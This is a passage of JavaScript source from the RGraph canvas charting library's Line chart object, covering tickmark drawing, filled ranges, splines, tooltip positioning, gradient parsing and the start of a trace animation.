                    co.fillStyle = isShadow ? prop['chart.shadow.color'] : co.strokeStyle;
                } else {
                    co.fillStyle = 'white';
                }

                co.moveTo(Math.round(xPos - prop['chart.ticksize']), yPos + prop['chart.ticksize']);
                co.lineTo(Math.round(xPos), yPos - prop['chart.ticksize']);
                co.lineTo(Math.round(xPos + prop['chart.ticksize']), yPos + prop['chart.ticksize']);
                co.closePath();

                co.stroke();
                co.fill();


                // A white bordered circle
            } else if (tickmarks == 'borderedcircle' || tickmarks == 'dot') {
                co.lineWidth = 1;
                co.strokeStyle = prop['chart.tickmarks.dot.color'];
                co.fillStyle = prop['chart.tickmarks.dot.color'];

                // The outer white circle
                co.beginPath();
                co.arc(xPos, yPos, prop['chart.ticksize'], 0, 360 / (180 / RG.PI), false);
                co.closePath();


                co.fill();
                co.stroke();

                // Now do the inners
                co.beginPath();
                co.fillStyle = color;
                co.strokeStyle = color;
                co.arc(xPos, yPos, prop['chart.ticksize'] - 2, 0, 360 / (180 / RG.PI), false);

                co.closePath();

                co.fill();
                co.stroke();

            } else if (tickmarks == 'square'
                || tickmarks == 'filledsquare'
                || (tickmarks == 'endsquare' && (index == 0 || index == (lineData.length - 1)))
                || (tickmarks == 'filledendsquare' && (index == 0 || index == (lineData.length - 1)))) {

                co.fillStyle = 'white';
                co.strokeStyle = co.strokeStyle;

                co.beginPath();
                co.rect(Math.round(xPos - prop['chart.ticksize']), Math.round(yPos - prop['chart.ticksize']), prop['chart.ticksize'] * 2, prop['chart.ticksize'] * 2);

                // Fillrect
                if (tickmarks == 'filledsquare' || tickmarks == 'filledendsquare') {
                    co.fillStyle = isShadow ? prop['chart.shadow.color'] : co.strokeStyle;
                    co.rect(Math.round(xPos - prop['chart.ticksize']), Math.round(yPos - prop['chart.ticksize']), prop['chart.ticksize'] * 2, prop['chart.ticksize'] * 2);

                } else if (tickmarks == 'square' || tickmarks == 'endsquare') {
                    co.fillStyle = isShadow ? prop['chart.shadow.color'] : 'white';
                    co.rect(Math.round((xPos - prop['chart.ticksize']) + 1), Math.round((yPos - prop['chart.ticksize']) + 1), (prop['chart.ticksize'] * 2) - 2, (prop['chart.ticksize'] * 2) - 2);
                }

                co.stroke();
                co.fill();

                /**
                 * FILLED arrowhead
                 */
            } else if (tickmarks == 'filledarrow') {

                var x = Math.abs(xPos - prevX);
                var y = Math.abs(yPos - prevY);

                if (yPos < prevY) {
                    var a = Math.atan(x / y) + 1.57;
                } else {
                    var a = Math.atan(y / x) + 3.14;
                }

                co.beginPath();
                co.moveTo(Math.round(xPos), Math.round(yPos));
                co.arc(Math.round(xPos), Math.round(yPos), 7, a - 0.5, a + 0.5, false);
                co.closePath();

                co.stroke();
                co.fill();

                /**
                 * Arrow head, NOT filled
                 */
            } else if (tickmarks == 'arrow') {

                var orig_linewidth = co.lineWidth;

                var x = Math.abs(xPos - prevX);
                var y = Math.abs(yPos - prevY);

                co.lineWidth;

                if (yPos < prevY) {
                    var a = Math.atan(x / y) + 1.57;
                } else {
                    var a = Math.atan(y / x) + 3.14;
                }

                co.beginPath();
                co.moveTo(Math.round(xPos), Math.round(yPos));
                co.arc(Math.round(xPos), Math.round(yPos), 7, a - 0.5 - (doc.all ? 0.1 : 0.01), a - 0.4, false);

                co.moveTo(Math.round(xPos), Math.round(yPos));
                co.arc(Math.round(xPos), Math.round(yPos), 7, a + 0.5 + (doc.all ? 0.1 : 0.01), a + 0.5, true);
                co.stroke();
                co.fill();

                // Revert to original lineWidth
                co.lineWidth = orig_linewidth;


                /**
                 * Image based tickmark
                 */
                // lineData, xPos, yPos, color, isShadow, prevX, prevY, tickmarks, index
            } else if (
                typeof tickmarks === 'string' &&
                (
                    tickmarks.substr(0, 6) === 'image:' ||
                    tickmarks.substr(0, 5) === 'data:' ||
                    tickmarks.substr(0, 1) === '/' ||
                    tickmarks.substr(0, 3) === '../' ||
                    tickmarks.substr(0, 7) === 'images/'
                )
            ) {

                var img = new Image();

                if (tickmarks.substr(0, 6) === 'image:') {
                    img.src = tickmarks.substr(6);
                } else {
                    img.src = tickmarks;
                }


                img.onload = function () {
                    if (prop['chart.tickmarks.image.halign'] === 'center') xPos -= (this.width / 2);
                    if (prop['chart.tickmarks.image.halign'] === 'right')  xPos -= this.width;

                    if (prop['chart.tickmarks.image.valign'] === 'center') yPos -= (this.height / 2);
                    if (prop['chart.tickmarks.image.valign'] === 'bottom') yPos -= this.height;

                    xPos += prop['chart.tickmarks.image.offsetx'];
                    yPos += prop['chart.tickmarks.image.offsety'];

                    co.drawImage(this, xPos, yPos);
                };


                /**
                 * Custom tick drawing function
                 */
            } else if (typeof(tickmarks) == 'function') {
                tickmarks(this, lineData, lineData[index], index, xPos, yPos, color, prevX, prevY);
            }
        };


    /**
     * Draws a filled range if necessary
     */
    this.drawRange =
        this.DrawRange = function () {
            //var RG   = RGraph;
            //var ca   = this.canvas;
            //var co   = this.context;
            //var prop = this.properties;

            /**
             * Fill the range if necessary
             */
            if (prop['chart.filled.range'] && prop['chart.filled'] && prop['chart.line.visible']) {

                if (RG.is_null(prop['chart.filled.range.threshold'])) {
                    prop['chart.filled.range.threshold'] = this.ymin
                    prop['chart.filled.range.threshold.colors'] = [prop['chart.fillstyle'], prop['chart.fillstyle']]
                }

                for (var idx = 0; idx < 2; ++idx) {

                    var threshold_colors = prop['chart.filled.range.threshold.colors'];
                    var y = this.getYCoord(prop['chart.filled.range.threshold'])

                    co.save();
                    if (idx == 0) {
                        co.beginPath();
                        co.rect(0, 0, ca.width, y);
                        co.clip();

                    } else {

                        co.beginPath();
                        co.rect(0, y, ca.width, ca.height);
                        co.clip();
                    }

                    co.beginPath();
                    co.fillStyle = (idx == 1 ? prop['chart.filled.range.threshold.colors'][1] : prop['chart.filled.range.threshold.colors'][0]);

                    //co.strokeStyle = prop['chart.fillstyle']; // Strokestyle not used now (10th October 2012)

                    co.lineWidth = 1;
                    var len = (this.coords.length / 2);


                    for (var i = 0; i < len; ++i) {
                        if (!RG.is_null(this.coords[i][1])) {
                            if (i == 0) {
                                co.moveTo(this.coords[i][0], this.coords[i][1])
                            } else {
                                co.lineTo(this.coords[i][0], this.coords[i][1])
                            }
                        }
                    }


                    for (var i = this.coords.length - 1; i >= len; --i) {
                        if (RG.is_null(this.coords[i][1])) {
                            co.moveTo(this.coords[i][0], this.coords[i][1])
                        } else {
                            co.lineTo(this.coords[i][0], this.coords[i][1])
                        }
                        //co.lineTo(this.coords[i][0], this.coords[i][1])
                    }


                    // Taken out - 10th Oct 2012
                    //co.stroke();

                    co.fill();
                    co.restore();
                }
            }
        };


    /**
     * Redraws the line with the correct line width etc
     *
     * @param array coords The coordinates of the line
     */
    this.redrawLine =
        this.RedrawLine = function (coords, color, linewidth, index) {
            if (prop['chart.noredraw'] || prop['chart.filled.range']) {
                return;
            }

            co.strokeStyle = (typeof(color) == 'object' && color && color.toString().indexOf('CanvasGradient') == -1 ? color[0] : color);
            co.lineWidth = linewidth;

            if (!prop['chart.line.visible']) {
                co.strokeStyle = 'rgba(0,0,0,0)';
            }


            if (!RG.ISOLD && (prop['chart.curvy'] || prop['chart.spline'])) {
                this.DrawCurvyLine(coords, !prop['chart.line.visible'] ? 'rgba(0,0,0,0)' : color, linewidth, index);
                return;
            }


            co.beginPath();

            var len = coords.length;
            var width = ca.width
            var height = ca.height;
            var penUp = false;

            for (var i = 0; i < len; ++i) {

                var xPos = coords[i][0];
                var yPos = coords[i][1];

                if (i > 0) {
                    var prevX = coords[i - 1][0];
                    var prevY = coords[i - 1][1];
                }


                if ((
                        (i == 0 && coords[i])
                        || (yPos < this.gutterTop)
                        || (prevY < this.gutterTop)
                        || (yPos > (height - this.gutterBottom))
                        || (i > 0 && prevX > (width - this.gutterRight))
                        || (i > 0 && prevY > (height - this.gutterBottom))
                        || prevY == null
                        || penUp == true
                    ) && (!prop['chart.outofbounds'] || yPos == null || prevY == null)) {

                    if (RG.ISOLD && yPos == null) {
                        // ...?
                    } else {
                        co.moveTo(coords[i][0], coords[i][1]);
                    }

                    penUp = false;

                } else {

                    if (prop['chart.stepped'] && i > 0) {
                        co.lineTo(coords[i][0], coords[i - 1][1]);
                    }

                    // Don't draw the last bit of a stepped chart. Now DO
                    //if (!this.properties['chart.stepped'] || i < (coords.length - 1)) {
                    co.lineTo(coords[i][0], coords[i][1]);
                    //}
                    penUp = false;
                }
            }

            /**
             * If two colors are specified instead of one, go over the up bits
             */
            if (prop['chart.colors.alternate'] && typeof(color) == 'object' && color[0] && color[1]) {
                for (var i = 1; i < len; ++i) {

                    var prevX = coords[i - 1][0];
                    var prevY = coords[i - 1][1];

                    if (prevY != null && coords[i][1] != null) {
                        co.beginPath();
                        co.strokeStyle = color[coords[i][1] < prevY ? 0 : 1];
                        co.lineWidth = prop['chart.linewidth'];
                        co.moveTo(prevX, prevY);
                        co.lineTo(coords[i][0], coords[i][1]);
                        co.stroke();
                    }
                }
            }
        };


    /**
     * This function is used by MSIE only to manually draw the shadow
     *
     * @param array coords The coords for the line
     */
    this.drawIEShadow =
        this.DrawIEShadow = function (coords, color) {
            var offsetx = prop['chart.shadow.offsetx'];
            var offsety = prop['chart.shadow.offsety'];

            co.lineWidth = prop['chart.linewidth'];
            co.strokeStyle = color;

            co.beginPath();
            for (var i = 0; i < coords.length; ++i) {

                var isNull = RG.isNull(coords[i][1]);
                var prevIsNull = RG.isNull(coords[i - 1]) || RG.isNull(coords[i - 1][1]);

                if (i == 0 || isNull || prevIsNull) {
                    if (!isNull) {
                        co.moveTo(coords[i][0] + offsetx, coords[i][1] + offsety);
                    }
                } else {
                    co.lineTo(coords[i][0] + offsetx, coords[i][1] + offsety);
                }
            }
            co.stroke();
        };


    /**
     * Draw the backdrop
     */
    this.drawBackdrop =
        this.DrawBackdrop = function (coords, color) {
            //var ca   = this.canvas;
            //var co   = this.context;
            //var prop = this.properties;

            var size = prop['chart.backdrop.size'];
            co.lineWidth = size;
            co.globalAlpha = prop['chart.backdrop.alpha'];
            co.strokeStyle = color;
            var yCoords = [];

            co.beginPath();
            if (prop['chart.curvy'] && !RG.ISOLD) {

                // The DrawSpline function only takes the Y coords so extract them from the coords that have
                // (which are X/Y pairs)
                for (var i = 0; i < coords.length; ++i) {
                    yCoords.push(coords[i][1])
                }

                this.DrawSpline(co, yCoords, color, null);

            } else {
                co.moveTo(coords[0][0], coords[0][1]);
                for (var j = 1; j < coords.length; ++j) {
                    co.lineTo(coords[j][0], coords[j][1]);
                }
            }
            co.stroke();

            // Reset the alpha value
            co.globalAlpha = 1;
            RG.NoShadow(this);
        };


    /**
     * Returns the linewidth
     */
    this.getLineWidth =
        this.GetLineWidth = function (i) {
            var linewidth = prop['chart.linewidth'];

            if (typeof(linewidth) == 'number') {
                return linewidth;

            } else if (typeof(linewidth) == 'object') {
                if (linewidth[i]) {
                    return linewidth[i];
                } else {
                    return linewidth[0];
                }

                alert('[LINE] Error! chart.linewidth should be a single number or an array of one or more numbers');
            }
        };


    /**
     * The getPoint() method - used to get the point the mouse is currently over, if any
     *
     * @param object e The event object
     * @param object   OPTIONAL You can pass in the bar object instead of the
     *                          function getting it from the canvas
     */
    this.getShape =
        this.getPoint = function (e) {
            var obj = this;
            var RG = RGraph;
            var ca = canvas = e.target;
            var co = context = this.context;
            var prop = this.properties;

            var mouseXY = RG.getMouseXY(e);
            var mouseX = mouseXY[0];
            var mouseY = mouseXY[1];

            // This facilitates you being able to pass in the bar object as a parameter instead of
            // the function getting it from the object
            if (arguments[1]) {
                obj = arguments[1];
            }

            for (var i = 0; i < obj.coords.length; ++i) {

                var x = obj.coords[i][0];
                var y = obj.coords[i][1];

                // Do this if the hotspot is triggered by the X coord AND the Y coord
                if (mouseX <= (x + prop['chart.tooltips.hotspot.size'])
                    && mouseX >= (x - prop['chart.tooltips.hotspot.size'])
                    && mouseY <= (y + prop['chart.tooltips.hotspot.size'])
                    && mouseY >= (y - prop['chart.tooltips.hotspot.size'])
                ) {

                    if (RG.parseTooltipText) {
                        var tooltip = RG.parseTooltipText(prop['chart.tooltips'], i);
                    }

                    // Work out the dataset
                    var dataset = 0;
                    var idx = i;
                    while ((idx + 1) > this.data[dataset].length) {
                        idx -= this.data[dataset].length;
                        dataset++;
                    }

                    return {0: obj, 1: x, 2: y, 3: i, 'object': obj, 'x': x, 'y': y, 'index': i, 'tooltip': tooltip, 'dataset': dataset, 'index_adjusted': idx};

                } else if (prop['chart.tooltips.hotspot.xonly'] == true
                    && mouseX <= (x + prop['chart.tooltips.hotspot.size'])
                    && mouseX >= (x - prop['chart.tooltips.hotspot.size'])) {

                    var tooltip = RG.parseTooltipText(prop['chart.tooltips'], i);

                    return {0: obj, 1: x, 2: y, 3: i, 'object': obj, 'x': x, 'y': y, 'index': i, 'tooltip': tooltip};
                }
            }
        };


    /**
     * Draws the above line labels
     */
    this.drawAboveLabels =
        this.DrawAboveLabels = function () {
            var size = prop['chart.labels.above.size'];
            var font = prop['chart.text.font'];
            var units_pre = prop['chart.units.pre'];
            var units_post = prop['chart.units.post'];
            var decimals = prop['chart.labels.above.decimals'];

            // Use this to 'reset' the drawing state
            co.beginPath();

            // Don't need to check that chart.labels.above is enabled here, it's been done already
            for (var i = 0, len = this.coords.length; i < len; i += 1) {

                var coords = this.coords[i];

                RG.Text2(this, {
                    'font': font,
                    'size': size,
                    'x': coords[0],
                    'y': coords[1] - 5 - size,
                    'text': RG.numberFormat(this, typeof decimals === 'number' ? this.data_arr[i].toFixed(decimals) : this.data_arr[i], units_pre, units_post),
                    'valign': 'center',
                    'halign': 'center',
                    'bounding': true,
                    'boundingFill': 'white',
                    'tag': 'labels.above'
                });
            }
        };


    /**
     * Draw a curvy line.
     */
    this.drawCurvyLine =
        this.DrawCurvyLine = function (coords, color, linewidth, index) {
            //var ca   = this.canvas;
            //var co   = this.context;
            //var prop = this.properties;

            if (RG.ISOLD) {
                return;
            }

            var yCoords = [];

            for (var i = 0; i < coords.length; ++i) {
                yCoords.push(coords[i][1])
            }

            if (prop['chart.filled']) {
                co.beginPath();
                co.moveTo(coords[0][0], ca.height - this.gutterBottom);
                this.DrawSpline(co, yCoords, color, index);

                if (prop['chart.filled.accumulative'] && index > 0) {
                    for (var i = (this.coordsSpline[index - 1].length - 1); i >= 0; i -= 1) {
                        co.lineTo(this.coordsSpline[index - 1][i][0], this.coordsSpline[index - 1][i][1]);
                    }
                } else {
                    co.lineTo(coords[coords.length - 1][0], ca.height - this.gutterBottom);
                }
                co.fill();
            }

            co.beginPath();
            this.DrawSpline(co, yCoords, color, index);
            co.stroke();
        };


    /**
     * When you click on the chart, this method can return the Y value at that point. It works for any point on the
     * chart (that is inside the gutters) - not just points on the Line.
     *
     * @param object e The event object
     */
    this.getValue = function (arg) {
        if (arg.length == 2) {
            var mouseX = arg[0];
            var mouseY = arg[1];
        } else {
            var mouseCoords = RG.getMouseXY(arg);
            var mouseX = mouseCoords[0];
            var mouseY = mouseCoords[1];
        }

        var obj = this;
        var xaxispos = prop['chart.xaxispos'];

        if (mouseY < prop['chart.gutter.top']) {
            return xaxispos == 'bottom' || xaxispos == 'center' ? this.max : this.min;
        } else if (mouseY > (ca.height - prop['chart.gutter.bottom'])) {
            return xaxispos == 'bottom' ? this.min : this.max;
        }

        if (prop['chart.xaxispos'] == 'center') {
            var value = (( (obj.grapharea / 2) - (mouseY - prop['chart.gutter.top'])) / obj.grapharea) * (obj.max - obj.min);
            value *= 2;
            value > 0 ? value += this.min : value -= this.min;
            return value;
        } else if (prop['chart.xaxispos'] == 'top') {
            var value = ((obj.grapharea - (mouseY - prop['chart.gutter.top'])) / obj.grapharea) * (obj.max - obj.min);
            value = Math.abs(obj.max - value) * -1;
            return value;
        } else {
            var value = ((obj.grapharea - (mouseY - prop['chart.gutter.top'])) / obj.grapharea) * (obj.max - obj.min)
            value += obj.min;
            return value;
        }
    };


    /**
     * Each object type has its own Highlight() function which highlights the appropriate shape
     *
     * @param object shape The shape to highlight
     */
    this.highlight =
        this.Highlight = function (shape) {
            if (prop['chart.tooltips.highlight']) {
                // Add the new highlight
                RG.Highlight.Point(this, shape);
            }
        };


    /**
     * The getObjectByXY() worker method. Don't call this call:
     *
     * RG.ObjectRegistry.getObjectByXY(e)
     *
     * @param object e The event object
     */
    this.getObjectByXY = function (e) {
        //var ca      = this.canvas;
        //var prop    = this.properties;
        var mouseXY = RG.getMouseXY(e);

        // The 5 is so that the cursor doesn't have to be over the graphArea to trigger the hotspot
        if (
            (mouseXY[0] > prop['chart.gutter.left'] - 5)
            && mouseXY[0] < (ca.width - prop['chart.gutter.right'] + 5)
            && mouseXY[1] > (prop['chart.gutter.top'] - 5)
            && mouseXY[1] < (ca.height - prop['chart.gutter.bottom'] + 5)
        ) {

            return this;
        }
    };


    /**
     * This method handles the adjusting calculation for when the mouse is moved
     *
     * @param object e The event object
     */
    this.adjusting_mousemove =
        this.Adjusting_mousemove = function (e) {
            /**
             * Handle adjusting for the Bar
             */
            if (prop['chart.adjustable'] && RG.Registry.Get('chart.adjusting') && RG.Registry.Get('chart.adjusting').uid == this.uid) {

                // Rounding the value to the given number of decimals make the chart step
                var value = Number(this.getValue(e));//.toFixed(this.properties['chart.scale.decimals']);
                var shape = RG.Registry.Get('chart.adjusting.shape');

                if (shape) {

                    RG.Registry.Set('chart.adjusting.shape', shape);

                    this.original_data[shape['dataset']][shape['index_adjusted']] = Number(value);

                    RG.redrawCanvas(e.target);

                    RG.fireCustomEvent(this, 'onadjust');
                }
            }
        };


    /**
     * This function can be used when the canvas is clicked on (or similar - depending on the event)
     * to retrieve the relevant Y coordinate for a particular value.
     *
     * @param int value The value to get the Y coordinate for
     */
    this.getYCoord = function (value) {
        if (typeof(value) != 'number') {
            return null;
        }

        var y;
        var xaxispos = prop['chart.xaxispos'];

        // Higher than max
        // Commented out on March 7th 2013 because the tan curve was not showing correctly
        //if (value > this.max) {
        //    value = this.max;
        //}

        if (xaxispos == 'top') {

            // Account for negative numbers
            //if (value < 0) {
            //    value = Math.abs(value);
            //}

            y = ((value - this.min) / (this.max - this.min)) * this.grapharea;

            // Inverted Y labels
            if (prop['chart.scale.invert']) {
                y = this.grapharea - y;
            }

            y = y + this.gutterTop

        } else if (xaxispos == 'center') {

            y = ((value - this.min) / (this.max - this.min)) * (this.grapharea / 2);
            y = (this.grapharea / 2) - y;
            y += this.gutterTop;

        } else {

            if ((value < this.min || value > this.max) && prop['chart.outofbounds'] == false) {
                return null;
            }

            y = ((value - this.min) / (this.max - this.min)) * this.grapharea;

            // Inverted Y labels
            if (prop['chart.scale.invert']) {
                y = this.grapharea - y;
            }

            y = ca.height - this.gutterBottom - y;
        }

        return y;
    };


    /**
     * This function positions a tooltip when it is displayed
     *
     * @param obj object    The chart object
     * @param int x         The X coordinate specified for the tooltip
     * @param int y         The Y coordinate specified for the tooltip
     * @param objec tooltip The tooltips DIV element
     */
    this.positionTooltip = function (obj, x, y, tooltip, idx) {
        //var ca      = obj.canvas;
        //var co      = obj.context;
        //var prop    = obj.properties;

        var coordX = obj.coords[tooltip.__index__][0];
        var coordY = obj.coords[tooltip.__index__][1];
        var canvasXY = RG.getCanvasXY(obj.canvas);
        var gutterLeft = prop['chart.gutter.left'];
        var gutterTop = prop['chart.gutter.top'];
        var width = tooltip.offsetWidth;

        // Set the top position
        tooltip.style.left = 0;
        tooltip.style.top = parseInt(tooltip.style.top) - 9 + 'px';

        // By default any overflow is hidden
        tooltip.style.overflow = '';

        // The arrow
        var img = new Image();
        img.src = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABEAAAAFCAYAAACjKgd3AAAARUlEQVQYV2NkQAN79+797+RkhC4M5+/bd47B2dmZEVkBCgcmgcsgbAaA9GA1BCSBbhAuA/AagmwQPgMIGgIzCD0M0AMMAEFVIAa6UQgcAAAAAElFTkSuQmCC';
        img.style.position = 'absolute';
        img.id = '__rgraph_tooltip_pointer__';
        img.style.top = (tooltip.offsetHeight - 2) + 'px';
        tooltip.appendChild(img);

        // Reposition the tooltip if at the edges:

        // LEFT edge
        if ((canvasXY[0] + coordX - (width / 2)) < 10) {
            tooltip.style.left = (canvasXY[0] + coordX - (width * 0.2)) + 'px';
            img.style.left = ((width * 0.2) - 8.5) + 'px';

            // RIGHT edge
        } else if ((canvasXY[0] + coordX + (width / 2)) > doc.body.offsetWidth) {
            tooltip.style.left = canvasXY[0] + coordX - (width * 0.8) + 'px';
            img.style.left = ((width * 0.8) - 8.5) + 'px';

            // Default positioning - CENTERED
        } else {
            tooltip.style.left = (canvasXY[0] + coordX - (width * 0.5)) + 'px';
            img.style.left = ((width * 0.5) - 8.5) + 'px';
        }
    };


    /**
     * This function draws a curvy line
     *
     * @param object context The  2D context
     * @param array  coords  The coordinates
     */
    this.drawSpline =
        this.DrawSpline = function (context, coords, color, index) {
            // Commented out on 26th Oct 2013
            //var co          = context;
            //var ca          = co.canvas;
            //var prop        = this.properties;

            this.coordsSpline[index] = [];
            var xCoords = [];
            var gutterLeft = prop['chart.gutter.left'];
            var gutterRight = prop['chart.gutter.right'];
            var hmargin = prop['chart.hmargin'];
            var interval = (ca.width - (gutterLeft + gutterRight) - (2 * hmargin)) / (coords.length - 1);

            co.strokeStyle = color;

            /**
             * The drawSpline function takes an array of JUST Y coords - not X/Y coords. So the line coords need converting
             * if we've been given X/Y pairs
             */
            for (var i = 0, len = coords.length; i < len; i += 1) {
                if (typeof coords[i] == 'object' && coords[i] && coords[i].length == 2) {
                    coords[i] = Number(coords[i][1]);
                }
            }


            /**
             * Get the Points array in the format we want - first value should be null along with the lst value
             */
            var P = [coords[0]];
            for (var i = 0; i < coords.length; ++i) {
                P.push(coords[i]);
            }
            P.push(coords[coords.length - 1] + (coords[coords.length - 1] - coords[coords.length - 2]));
            //P.push(null);

            for (var j = 1; j < P.length - 2; ++j) {
                for (var t = 0; t < 10; ++t) {

                    var yCoord = Spline(t / 10, P[j - 1], P[j], P[j + 1], P[j + 2]);

                    xCoords.push(((j - 1) * interval) + (t * (interval / 10)) + gutterLeft + hmargin);
                    co.lineTo(xCoords[xCoords.length - 1], yCoord);

                    if (typeof index == 'number') {
                        this.coordsSpline[index].push([xCoords[xCoords.length - 1], yCoord]);
                    }
                }
            }


            // Draw the last section
            co.lineTo(((j - 1) * interval) + gutterLeft + hmargin, P[j]);
            if (typeof index == 'number') {
                this.coordsSpline[index].push([((j - 1) * interval) + gutterLeft + hmargin, P[j]]);
            }


            function Spline(t, P0, P1, P2, P3) {
                return 0.5 * ((2 * P1) +
                    ((0 - P0) + P2) * t +
                    ((2 * P0 - (5 * P1) + (4 * P2) - P3) * (t * t) +
                    ((0 - P0) + (3 * P1) - (3 * P2) + P3) * (t * t * t)));
            }
        };


    /**
     * This allows for easy specification of gradients
     */
    this.parseColors = function () {
        // Save the original colors so that they can be restored when the canvas is reset
        if (this.original_colors.length === 0) {
            this.original_colors['chart.colors'] = RGraph.array_clone(prop['chart.colors']);
            this.original_colors['chart.fillstyle'] = RGraph.array_clone(prop['chart.fillstyle']);
            this.original_colors['chart.key.colors'] = RGraph.array_clone(prop['chart.key.colors']);
            this.original_colors['chart.background.barcolor1'] = prop['chart.background.barcolor1'];
            this.original_colors['chart.background.barcolor2'] = prop['chart.background.barcolor2'];
            this.original_colors['chart.background.grid.color'] = prop['chart.background.grid.color'];
            this.original_colors['chart.background.color'] = prop['chart.background.color'];
            this.original_colors['chart.text.color'] = prop['chart.text.color'];
            this.original_colors['chart.crosshairs.color'] = prop['chart.crosshairs.color'];
            this.original_colors['chart.annotate.color'] = prop['chart.annotate.color'];
            this.original_colors['chart.title.color'] = prop['chart.title.color'];
            this.original_colors['chart.title.yaxis.color'] = prop['chart.title.yaxis.color'];
            this.original_colors['chart.key.background'] = prop['chart.key.background'];
            this.original_colors['chart.axis.color'] = prop['chart.axis.color'];
            this.original_colors['chart.highlight.fill'] = prop['chart.highlight.fill'];
        }


        for (var i = 0; i < prop['chart.colors'].length; ++i) {
            if (typeof(prop['chart.colors'][i]) == 'object' && prop['chart.colors'][i][0] && prop['chart.colors'][i][1]) {
                prop['chart.colors'][i][0] = this.parseSingleColorForGradient(prop['chart.colors'][i][0]);
                prop['chart.colors'][i][1] = this.parseSingleColorForGradient(prop['chart.colors'][i][1]);
            } else {
                prop['chart.colors'][i] = this.parseSingleColorForGradient(prop['chart.colors'][i]);
            }
        }

        /**
         * Fillstyle
         */
        if (prop['chart.fillstyle']) {
            if (typeof(prop['chart.fillstyle']) == 'string') {
                prop['chart.fillstyle'] = this.parseSingleColorForGradient(prop['chart.fillstyle'], 'vertical');
            } else {
                for (var i = 0; i < prop['chart.fillstyle'].length; ++i) {
                    prop['chart.fillstyle'][i] = this.parseSingleColorForGradient(prop['chart.fillstyle'][i], 'vertical');
                }
            }
        }

        /**
         * Key colors
         */
        if (!RG.is_null(prop['chart.key.colors'])) {
            for (var i = 0; i < prop['chart.key.colors'].length; ++i) {
                prop['chart.key.colors'][i] = this.parseSingleColorForGradient(prop['chart.key.colors'][i]);
            }
        }

        /**
         * Parse various properties for colors
         */
        var properties = ['chart.background.barcolor1',
            'chart.background.barcolor2',
            'chart.background.grid.color',
            'chart.background.color',
            'chart.text.color',
            'chart.crosshairs.color',
            'chart.annotate.color',
            'chart.title.color',
            'chart.title.yaxis.color',
            'chart.key.background',
            'chart.axis.color',
            'chart.highlight.fill'];

        for (var i = 0; i < properties.length; ++i) {
            prop[properties[i]] = this.parseSingleColorForGradient(prop[properties[i]]);
        }
    };


    /**
     * Use this function to reset the object to the post-constructor state. Eg reset colors if
     * need be etc
     */
    this.reset = function () {
    };


    /**
     * This parses a single color value
     */
    this.parseSingleColorForGradient = function (color) {
        //var RG = RGraph;
        //var ca = this.canvas;
        //var co = this.context;

        if (!color || typeof(color) != 'string') {
            return color;
        }

        /**
         * Horizontal or vertical gradient
         */
        var dir = typeof(arguments[1]) == 'string' ? arguments[1] : 'vertical';

        if (typeof color === 'string' && color.match(/^gradient\((.*)\)$/i)) {

            var parts = RegExp.$1.split(':');

            // Create the gradient
            if (dir == 'horizontal') {
                var grad = co.createLinearGradient(0, 0, ca.width, 0);
            } else {
                var grad = co.createLinearGradient(0, ca.height - prop['chart.gutter.bottom'], 0, prop['chart.gutter.top']);
            }

            var diff = 1 / (parts.length - 1);

            grad.addColorStop(0, RG.trim(parts[0]));

            for (var j = 1; j < parts.length; ++j) {
                grad.addColorStop(j * diff, RG.trim(parts[j]));
            }
        }

        return grad ? grad : color;
    };


    /**
     * Sets the appropriate shadow
     */
    this.setShadow =
        this.SetShadow = function (i) {
            //var ca   = this.canvas;
            //var co   = this.context;
            //var prop = this.properties;

            if (prop['chart.shadow']) {
                /**
                 * Handle the appropriate shadow color. This now facilitates an array of differing
                 * shadow colors
                 */
                var shadowColor = prop['chart.shadow.color'];

                /**
                 * Accommodate an array of shadow colors as well as a single string
                 */
                if (typeof(shadowColor) == 'object' && shadowColor[i - 1]) {
                    co.shadowColor = shadowColor[i];

                } else if (typeof(shadowColor) == 'object') {
                    co.shadowColor = shadowColor[0];

                } else if (typeof(shadowColor) == 'string') {
                    co.shadowColor = shadowColor;
                }

                co.shadowBlur = prop['chart.shadow.blur'];
                co.shadowOffsetX = prop['chart.shadow.offsetx'];
                co.shadowOffsetY = prop['chart.shadow.offsety'];
            }
        };


    /**
     * This function handles highlighting an entire data-series for the interactive
     * key
     *
     * @param int index The index of the data series to be highlighted
     */
    this.interactiveKeyHighlight = function (index) {
        var coords = this.coords2[index];

        if (coords) {

            var pre_linewidth = co.lineWidth;
            var pre_linecap = co.lineCap;

            co.lineWidth = prop['chart.linewidth'] + 10;
            co.lineCap = 'round';
            co.strokeStyle = prop['chart.key.interactive.highlight.chart.stroke'];


            co.beginPath();
            if (prop['chart.curvy']) {
                this.DrawSpline(co, coords, prop['chart.key.interactive.highlight.chart'], null);
            } else {
                for (var i = 0, len = coords.length; i < len; i += 1) {
                    if (i == 0
                        || RG.is_null(coords[i][1])
                        || (typeof coords[i - 1][1] != undefined && RG.is_null(coords[i - 1][1]))) {
                        co.moveTo(coords[i][0], coords[i][1]);
                    } else {
                        co.lineTo(coords[i][0], coords[i][1]);
                    }
                }
            }
            co.stroke();

            // Reset the lineCap and lineWidth
            co.lineWidth = pre_linewidth;
            co.lineCap = pre_linecap;
        }
    };


    /**
     * Using a function to add events makes it easier to facilitate method chaining
     *
     * @param string   type The type of even to add
     * @param function func
     */
    this.on = function (type, func) {
        if (type.substr(0, 2) !== 'on') {
            type = 'on' + type;
        }

        this[type] = func;

        return this;
    };


    /**
     * This function runs once only
     * (put at the end of the file (before any effects))
     */
    this.firstDrawFunc = function () {
    };


    /**
     * Trace
     *
     * This effect is for the Line chart, uses the jQuery library and slowly
     * uncovers the Line , but you can see the background of the chart. This effect
     * is quite new (1/10/2011) and as such should be used with caution.
     *
     * @param object   An object of configuration. You can give 'duration' or 'frames' here.
     * @param function An optional callback function
     */
    this.trace = function () {
        var obj = this;
        var callback = typeof arguments[1] === 'function' ? arguments[1] : function () {
        };
        var opt = arguments[0] || {};

        if (opt.frames) {
            opt.duration = (opt.frames / 60) * 1000;
        }

        if (!opt.duration) {
            opt.duration = 1500;
        }

        RG.clear(obj.canvas);
        RG.redrawCanvas(obj.canvas);

        /**
         * Create the DIV that the second canvas will sit in
         */
        var div = doc.createElement('DIV');
        var xy = RG.getCanvasXY(obj.canvas);
        div.id = '__rgraph_trace_animation_' + RG.random(0, 4351623) + '__';
        div.style.left = xy[0] + 'px';
        div.style.top = xy[1] + 'px';
        div.style.width = obj.Get('chart.gutter.left');
        div.style.height = obj.canvas.height + 'px';
        div.style.position = 'absolute';
        div.style.overflow = 'hidden';
        doc.body.appendChild(div);

        obj.canvas.__rgraph_trace_div__ = div;

